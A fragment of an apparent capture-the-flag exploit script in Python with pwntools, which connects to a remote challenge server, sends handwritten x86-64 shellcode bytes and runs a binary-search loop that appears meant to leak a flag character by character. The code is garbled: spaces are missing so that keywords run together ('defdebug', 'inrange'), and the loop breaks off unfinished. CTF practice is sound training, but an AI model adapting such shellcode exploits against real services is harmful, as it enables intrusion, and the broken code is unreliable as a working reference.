defdebug(cmd = ''): iflen(sys.argv)!=1: return cmd += """ b main bp 0x13d1 """ gdb.attach(p, cmd) pause() if __name__ == '__main__': flag = "flag{practice_handwrite_shellcode}" #flag{praatice_hand_rite_rhdkgco?e} count = 1 for i inrange (len(flag),0x40): left = 0 right = 127 while left < right: mid = (left + right)>>1 global p p = remote("chall.geekctf.geekcon.top", 40245) # p = process("./shellcode")
# shellcode = '''xor rax,rax # pop rbx # pop rdx # pop rbx # push 1 # nop # pop rbx # add rsi, rbx # /* even */ # pop rcx # sub [rsi + 0x11], bx # /* odd */ # ''' p.recvuntil(b"Please input your shellcode:") # pl = asm(shellcode) + b"\x10\x05\x90" p.send(b"H1\xc0[Z[j\x01\x90[H\x01\xdeYf)^\x11\x10\x05\x90")